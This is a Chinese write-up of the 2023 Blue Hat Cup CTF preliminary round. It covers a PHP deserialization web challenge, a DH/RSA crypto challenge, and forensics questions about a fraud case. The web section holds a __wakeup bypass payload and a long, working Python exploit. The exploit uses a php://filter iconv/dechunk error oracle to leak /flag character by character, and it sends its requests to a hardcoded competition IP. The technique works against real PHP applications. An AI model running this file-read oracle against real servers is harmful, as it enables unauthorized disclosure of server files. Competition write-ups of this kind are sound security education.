2023蓝帽杯初赛

WEB

LovePHP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php 
class Saferman{
public $check = True;
public function __destruct(){
if($this->check === True){
file($_GET['secret']);
}
}
public function __wakeup(){
$this->check=False;
}
}
if(isset($_GET['my_secret.flag'])){
unserialize($_GET['my_secret.flag']);
}else{
highlight_file(__FILE__);
}

php版本查看

network查看到,PHP版本是7.4.33

wakeup的绕过

1
?my[secret.flag=C:8:"Saferman":0:{}

php中file函数的trick->侧信道攻击

https://boogipop.com/2023/05/08/Web%E4%BE%A7%E4%BF%A1%E9%81%93%E5%88%9D%E6%AD%A5%E8%AE%A4%E8%AF%86/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
import requests
import sys
from base64 import b64decode

"""
THE GRAND IDEA:
We can use PHP memory limit as an error oracle. Repeatedly applying the convert.iconv.L1.UCS-4LE
filter will blow up the string length by 4x every time it is used, which will quickly cause
500 error if and only if the string is non empty. So we now have an oracle that tells us if
the string is empty.

THE GRAND IDEA 2:
The dechunk filter is interesting.
https://github.com/php/php-src/blob/01b3fc03c30c6cb85038250bb5640be3a09c6a32/ext/standard/filters.c#L1724
It looks like it was implemented for something http related, but for our purposes, the interesting
behavior is that if the string contains no newlines, it will wipe the entire string if and only if
the string starts with A-Fa-f0-9, otherwise it will leave it untouched. This works perfect with our
above oracle! In fact we can verify that since the flag starts with D that the filter chain

dechunk|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|[...]|convert.iconv.L1.UCS-4LE

does not cause a 500 error.

THE REST:
So now we can verify if the first character is in A-Fa-f0-9. The rest of the challenge is a descent
into madness trying to figure out ways to:
- somehow get other characters not at the start of the flag file to the front
- detect more precisely which character is at the front
"""

def join(*x):
return '|'.join(x)

def err(s):
print(s)
raise ValueError

####唯一修改点
def req(s):
data = {
'0': f'php://filter/{s}/resource=/flag'
}
#return requests.post('http://localhost:5000/index.php', data=data).status_code == 500

url='http://39.105.5.7:49688/?my[secret.flag=C:8:"Saferman":0:{}&secret='+f'php://filter/{s}/resource=/flag'
return requests.get(url=url).status_code == 500

"""
Step 1:
The second step of our exploit only works under two conditions:
- String only contains a-zA-Z0-9
- String ends with two equals signs

base64-encoding the flag file twice takes care of the first condition.

We don't know the length of the flag file, so we can't be sure that it will end with two equals
signs.

Repeated application of the convert.quoted-printable-encode will only consume additional
memory if the base64 ends with equals signs, so that's what we are going to use as an oracle here.
If the double-base64 does not end with two equals signs, we will add junk data to the start of the
flag with convert.iconv..CSISO2022KR until it does.
"""

blow_up_enc = join(*['convert.quoted-printable-encode']*1000)
blow_up_utf32 = 'convert.iconv.L1.UCS-4LE'
blow_up_inf = join(*[blow_up_utf32]*50)

header = 'convert.base64-encode|convert.base64-encode'

# Start get baseline blowup
print('Calculating blowup')
baseline_blowup = 0
for n in range(100):
payload = join(*[blow_up_utf32]*n)
if req(f'{header}|{payload}'):
baseline_blowup = n
break
else:
err('something wrong')

print(f'baseline blowup is {baseline_blowup}')

trailer = join(*[blow_up_utf32]*(baseline_blowup-1))

assert req(f'{header}|{trailer}') == False

print('detecting equals')
j = [
req(f'convert.base64-encode|convert.base64-encode|{blow_up_enc}|{trailer}'),
req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode{blow_up_enc}|{trailer}'),
req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KR|convert.base64-encode|{blow_up_enc}|{trailer}')
]
print(j)
if sum(j) != 2:
err('something wrong')
if j[0] == False:
header = f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode'
elif j[1] == False:
header = f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KRconvert.base64-encode'
elif j[2] == False:
header = f'convert.base64-encode|convert.base64-encode'
else:
err('something wrong')
print(f'j: {j}')
print(f'header: {header}')

"""
Step two:
Now we have something of the form
[a-zA-Z0-9 things]==

Here the pain begins. For a long time I was trying to find something that would allow me to strip
successive characters from the start of the string to access every character. Maybe something like
that exists but I couldn't find it. However, if you play around with filter combinations you notice
there are filters that *swap* characters:

convert.iconv.CSUNICODE.UCS-2BE, which I call r2, flips every pair of characters in a string:
abcdefgh -> badcfehg

convert.iconv.UCS-4LE.10646-1:1993, which I call r4, reverses every chunk of four characters:
abcdefgh -> dcbahgfe

This allows us to access the first four characters of the string. Can we do better? It turns out
YES, we can! Turns out that convert.iconv.CSUNICODE.CSUNICODE appends <0xff><0xfe> to the start of
the string:

abcdefgh -> <0xff><0xfe>abcdefgh

The idea being that if we now use the r4 gadget, we get something like:
ba<0xfe><0xff>fedc

And then if we apply a convert.base64-decode|convert.base64-encode, it removes the invalid
<0xfe><0xff> to get:
bafedc

And then apply the r4 again, we have swapped the f and e to the front, which were the 5th and 6th
characters of the string. There's only one problem: our r4 gadget requires that the string length
is a multiple of 4. The original base64 string will be a multiple of four by definition, so when
we apply convert.iconv.CSUNICODE.CSUNICODE it will be two more than a multiple of four, which is no
good for our r4 gadget. This is where the double equals we required in step 1 comes in! Because it
turns out, if we apply the filter
convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7

It will turn the == into:
+---AD0-3D3D+---AD0-3D3D

And this is magic, because this corrects such that when we apply the
convert.iconv.CSUNICODE.CSUNICODE filter the resuting string is exactly a multiple of four!

Let's recap. We have a string like:
abcdefghij==

Apply the convert.quoted-printable-encode + convert.iconv.L1.utf7:
abcdefghij+---AD0-3D3D+---AD0-3D3D

Apply convert.iconv.CSUNICODE.CSUNICODE:
<0xff><0xfe>abcdefghij+---AD0-3D3D+---AD0-3D3D

Apply r4 gadget:
ba<0xfe><0xff>fedcjihg---+-0DAD3D3---+-0DAD3D3

Apply base64-decode | base64-encode, so the '-' and high bytes will disappear:
bafedcjihg+0DAD3D3+0DAD3Dw==

Then apply r4 once more:
efabijcd0+gh3DAD0+3D3DAD==wD

And here's the cute part: not only have we now accessed the 5th and 6th chars of the string, but
the string still has two equals signs in it, so we can reapply the technique as many times as we
want, to access all the characters in the string ;)
"""

flip = "convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.CSUNICODE.CSUNICODE|convert.iconv.UCS-4LE.10646-1:1993|convert.base64-decode|convert.base64-encode"
r2 = "convert.iconv.CSUNICODE.UCS-2BE"
r4 = "convert.iconv.UCS-4LE.10646-1:1993"

def get_nth(n):
global flip, r2, r4
o = []
chunk = n // 2
if chunk % 2 == 1: o.append(r4)
o.extend([flip, r4] * (chunk // 2))
if (n % 2 == 1) ^ (chunk % 2 == 1): o.append(r2)
return join(*o)

"""
Step 3:
This is the longest but actually easiest part. We can use dechunk oracle to figure out if the first
char is 0-9A-Fa-f. So it's just a matter of finding filters which translate to or from those
chars. rot13 and string lower are helpful. There are probably a million ways to do this bit but
I just bruteforced every combination of iconv filters to find these.

Numbers are a bit trickier because iconv doesn't tend to touch them.
In the CTF you coud porbably just guess from there once you have the letters. But if you actually
want a full leak you can base64 encode a third time and use the first two letters of the resulting
string to figure out which number it is.
"""

rot1 = 'convert.iconv.437.CP930'
be = 'convert.quoted-printable-encode|convert.iconv..UTF7|convert.base64-decode|convert.base64-encode'
o = ''

def find_letter(prefix):
if not req(f'{prefix}|dechunk|{blow_up_inf}'):
# a-f A-F 0-9
if not req(f'{prefix}|{rot1}|dechunk|{blow_up_inf}'):
# a-e
for n in range(5):
if req(f'{prefix}|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
return 'edcba'[n]
break
else:
err('something wrong')
elif not req(f'{prefix}|string.tolower|{rot1}|dechunk|{blow_up_inf}'):
# A-E
for n in range(5):
if req(f'{prefix}|string.tolower|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
return 'EDCBA'[n]
break
else:
err('something wrong')
elif not req(f'{prefix}|convert.iconv.CSISO5427CYRILLIC.855|dechunk|{blow_up_inf}'):
return '*'
elif not req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# f
return 'f'
elif not req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# F
return 'F'
else:
err('something wrong')
elif not req(f'{prefix}|string.rot13|dechunk|{blow_up_inf}'):
# n-s N-S
if not req(f'{prefix}|string.rot13|{rot1}|dechunk|{blow_up_inf}'):
# n-r
for n in range(5):
if req(f'{prefix}|string.rot13|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
return 'rqpon'[n]
break
else:
err('something wrong')
elif not req(f'{prefix}|string.rot13|string.tolower|{rot1}|dechunk|{blow_up_inf}'):
# N-R
for n in range(5):
if req(f'{prefix}|string.rot13|string.tolower|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
return 'RQPON'[n]
break
else:
err('something wrong')
elif not req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# s
return 's'
elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# S
return 'S'
else:
err('something wrong')
elif not req(f'{prefix}|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
# i j k
if req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'k'
elif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'j'
elif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'i'
else:
err('something wrong')
elif not req(f'{prefix}|string.tolower|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
# I J K
if req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'K'
elif req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'J'
elif req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'I'
else:
err('something wrong')
elif not req(f'{prefix}|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
# v w x
if req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'x'
elif req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'w'
elif req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'v'
else:
err('something wrong')
elif not req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
# V W X
if req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'X'
elif req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'W'
elif req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'V'
else:
err('something wrong')
elif not req(f'{prefix}|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
# Z
return 'Z'
elif not req(f'{prefix}|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
# z
return 'z'
elif not req(f'{prefix}|string.rot13|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
# M
return 'M'
elif not req(f'{prefix}|string.rot13|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
# m
return 'm'
elif not req(f'{prefix}|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
# y
return 'y'
elif not req(f'{prefix}|string.tolower|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
# Y
return 'Y'
elif not req(f'{prefix}|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
# l
return 'l'
elif not req(f'{prefix}|string.tolower|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
# L
return 'L'
elif not req(f'{prefix}|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
# h
return 'h'
elif not req(f'{prefix}|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
# H
return 'H'
elif not req(f'{prefix}|string.rot13|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
# u
return 'u'
elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
# U
return 'U'
elif not req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# g
return 'g'
elif not req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# G
return 'G'
elif not req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# t
return 't'
elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# T
return 'T'
else:
err('something wrong')

print()
for i in range(100):
prefix = f'{header}|{get_nth(i)}'
letter = find_letter(prefix)
# it's a number! check base64
if letter == '*':
prefix = f'{header}|{get_nth(i)}|convert.base64-encode'
s = find_letter(prefix)
if s == 'M':
# 0 - 3
prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
ss = find_letter(prefix)
if ss in 'CDEFGH':
letter = '0'
elif ss in 'STUVWX':
letter = '1'
elif ss in 'ijklmn':
letter = '2'
elif ss in 'yz*':
letter = '3'
else:
err(f'bad num ({ss})')
elif s == 'N':
# 4 - 7
prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
ss = find_letter(prefix)
if ss in 'CDEFGH':
letter = '4'
elif ss in 'STUVWX':
letter = '5'
elif ss in 'ijklmn':
letter = '6'
elif ss in 'yz*':
letter = '7'
else:
err(f'bad num ({ss})')
elif s == 'O':
# 8 - 9
prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
ss = find_letter(prefix)
if ss in 'CDEFGH':
letter = '8'
elif ss in 'STUVWX':
letter = '9'
else:
err(f'bad num ({ss})')
else:
err('wtf')

print(end=letter)
o += letter
sys.stdout.flush()

"""
We are done!! :)
"""

print()
d = b64decode(o.encode() + b'=' * 4)
# remove KR padding
d = d.replace(b'$)C',b'')
print(b64decode(d))

此时将req(s)改一下data = f'{param}&secret=php://filter/{s}/resource=/flag';运行后就可得到flag

Crypot

DHRSA

根据源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# sage
from sage.all import *
from Crypto.Util.number import getPrime,getStrongPrime, isPrime, bytes_to_long
from secret import r,g
from secret import flag

assert r.bit_length() == 512 and isPrime(r)
FLAG = bytes_to_long(flag)

def gen_DH_key(g,r):
x = randint(2,r-1)
return x, pow(g,x,r)

def gen_RSA_parameters(g,r):
main_key = gen_DH_key(g,r)
sub_key = gen_DH_key(g,r)
x, X = main_key
w, W = sub_key
print(f"[+] Public DH Keys { X = }")
print(f"[+] Public DH Keys { W = }")
while True:
c, C = gen_DH_key(g,r)
t1 = randint(0,1)
t2 = randint(0,1)
p = ZZ(C * W^t1 * pow(X, c, r) % r)
if not is_prime(p):
continue
q = ZZ(pow(W, -t2, r) * pow(X, -c, r) % r)
if not is_prime(q):
print(f"[+] Try {c ,C}")
continue
return p,q

p, q = gen_RSA_parameters(g,r)
n = p*q
e = 65537
c = pow(FLAG,e,n)
print(f"{ c = }")
print(f"{ n = }")
# x是随机数,w也是随机数

可以知道是结合了Diffie-Hellman 密钥交换的算法和rsa的加密过程,其中的t1和t2均为随机数,这就给解题带来了很大的难度,也就意味着后期要使用爆破的手段来解出明文。不过在此之前先要解决r的问题。

这r解出的难度很大,翻阅了很多资料,最后才在一位师傅的博客中找到思路,这道题 可以采用恢复模数法。

Out.txt中给出了多组数据,其中的主要数据是cC=g**c mod r ,要求出r,就要构造
C=Kr
C≡0(modr)
只要可以构造成这样,那么就可以根据gcd(C1,C2)来求出对应的r
模逆的等式变换可以得到
ei​≥0∏​ciei​​−ei​<0∏​ci−eii​​≡0(modn)

根据线性代数知识,构造一个格,使得c的所有值都在格中
[c0​,c1​,⋯,c62​,c63​]⋅L=[0,0,c0​,c1​,⋯,c62​,c63​],这时候,由于我们要使[c0​,c1​,⋯,c62​,c63​]在格中足够小,并且可以找到多组ci​,这时可以乘上一个大系数

脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from sympy.ntheory.residue_ntheory import nthroot_mod
from Crypto.Util.number import *
f = open("out.txt","r").read().split('\n')[:-1]
rsa_n = int(f[-1].replace(' n = ',''))
rsa_c = int(f[-2].replace(' c = ',''))
rsa_e = 65537
X = int(f[0].replace('[+] Public DH Keys X = ',''))
W = int(f[1].replace('[+] Public DH Keys W = ',''))
# 求解模数g
tries = []
for i in f[2:-2]:
tries.append(eval(i.replace('[+] Try ','')))
C_list = [i[1] for i in tries]
c_list = [i[0] for i in tries]
cs = C_list
es = c_list
L = matrix(es).T.augment(matrix([1]*len(es)).T)
L = L.augment(matrix.identity(len(es)))
L[:, 0] *= 2**508
L[:, 1] *= 2**508
L = L.LLL()

接着就是恢复模数r

assert sum([a*e for a, e in zip(L[0][2:], es)]) == 0
assert sum([b*e for b, e in zip(L[1][2:], es)]) == 0
assert sum(L[0]) == 0
assert sum(L[1]) == 0

def get_kn(an):
prod_p = 1
prod_n = 1
for i, a in enumerate(an):
if a < 0:
prod_n *= cs[i]**(-a)
else:
prod_p *= cs[i]**(a)
return prod_p - prod_n

n1 = get_kn(L[0][2:])
n2 = get_kn(L[1][2:])
n = gcd(n1, n2)
for i in range(2, 300):
while n % i == 0:
n //= i
print(n)
在求出r之后,就是爆破求出明文

r = int(n)

assert r.bit_length()==512
assert isPrime(r)

g = int(6019887080267290264230260653584196278384320835640816590398803560025633855808434001764263669714920086295176455397726166743099512294951861972283858355052731)

print(factor(r-1))
for t1 in range(2):
for t2 in range(2):
print(t1, t2)
C = pow(W,-(t1-t2),r) * rsa_n % r
c = discrete_log(Mod(C,r),Mod(g,r)) # pohlig-hellman attack
p = int(C * W^t1 * pow(X, c, r) % r)
q = int(pow(W, -t2, r) * pow(X, -c, r) % r)
if isPrime(p) and isPrime(q) and rsa_n==p*q:
print(long_to_bytes(power_mod(rsa_c, inverse(rsa_e,(p-1)*(q-1)), rsa_n)))
exit()

Reverse

Story

找到flag所在的函数,但是不知道算法是怎么样的。之后点开cpp文件,发现有一个内容被注释了,把flag和number拼接一下,就得到flag了

取证

案情介绍

2021年5月,公安机关侦破了一起投资理财诈骗类案件,受害人陈昊民向公安机关报案称其在微信上认识一名昵称为yang88的网友,在其诱导下通过一款名为维斯塔斯的APP,进行投资理财,被诈骗6万余万元。接警后,经过公安机关的分析,锁定了涉案APP后台服务器。后经过公安机关侦查和研判发现杨某有重大犯罪嫌疑,经过多次摸排后,公安机关在杨某住所将其抓获,并扣押了杨某手机1部、电脑1台,据杨某交代,其网站服务器为租用的云服务器。上述检材已分别制作了镜像和调证,假设本案电子数据由你负责勘验,请结合案情,完成取证题目。

APK取证

涉案apk的包名是?

使用jadx进行反编译之后打开,直接搜索package=即可得到包名

涉案apk的签名序列号是?

jadx打开之后在APK signature里面即可找到

涉案apk中DCLOUD_AD_ID的值是?

使用jadx打开之后,直接搜素DCLOUD_AD_ID即可发现

涉案apk的服务器域名是?

模拟器打开即可

涉案apk的主入口是?

GDA打开后在baseinfo即可找到Main Activity

手机取证

该镜像是用的什么模拟器?

使用手机取证软件打开分析了系统的应用多次出现雷电所以此时可以知道是雷电模拟器

该镜像中用的聊天软件名称是什么?

聊天软件的包名是?

此时我们已经知道聊天软件的名称是与你那么此时我们就可以去手机上面下载一个软件,然后将它的apk包发送给电脑后还是使用jadx打开就可以看到包
名了

投资理财产品中,受害人最后投资的产品最低要求投资多少钱?

受害人是经过谁介绍认识王哥?

计算机取证

请给出计算机镜像pc.e01的SHA-1值?

使用哈希检验工具

给出pc.e01在提取时候的检查员?

请给出嫌疑人计算机内IE浏览器首页地址?

此时直接打开IE浏览器即可得到

此时若是不确定的话可以打开注册表在确定一下HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page

请给出嫌疑人杨某登录理财网站前台所用账号密码?

此时使用仿真系统,然后选择不清楚密码;使用KIT一把梭出密码

然后打开谷歌的自动填充的密码管理器即可看到被保存下来的密码

请给出嫌疑人电脑内pdf文件默认打开程序的当前版本号?

此时新建一个pdf文件;打开后发现默认是使用WPS打开;所以此时直接在帮助里面查看版本号

请给出嫌疑人计算机内文件名为“C盘清理.bat”的SHA-1?

此时通过全局搜索并没有发现这个文件;此时怀疑是被隐藏起来了;那么只能一个一个的文件翻看过去;此时发现了一个名为disk.img的文件;这是一个光盘刻录文件;此时我们可以将其打开看看里面有啥东西;使用7z进行提取;此时发现果然隐藏在这里面

此时直接使用哈希校验工具进行校验即可

请给出嫌疑人Vera Crypt加密容器的解密密码?

请给出嫌疑人电脑内iSCSI服务器对外端口号?

此时我们搜索配置ISCSI的步骤可以发现一系列关于配置改服务器的软件,此时我们一个个的在系统内搜索;最后找到了starwind这个软件

请给出嫌疑人电脑内iSCSI服务器CHAP认证的账号密码?


此时发现看不了密码,此时我们可以想到配置文件;并且知道改嫌疑人的用户名为user;此时只能在starwind目录下一个个文件的找了

分析嫌疑人电脑内提现记录表,用户“mi51888”提现总额为多少?

内存取证

请给出计算机内存创建北京时间?

请给出计算机内用户yang88的开机密码?

提取内存镜像中的USB设备信息,给出该USB设备的最后连接北京时间?

请给出用户yang88的LMHASH值?

请给出用户yang88访问过文件“提现记录.xlsx”的北京时间?

请给出“VeraCrypt”最后一次执行的北京时间?

分析内存镜像,请给出用户在“2023-06-20 16:56:57 UTC+0”访问过“维斯塔斯”后台多少次?

请给出用户最后一次访问chrome浏览器的进程PID?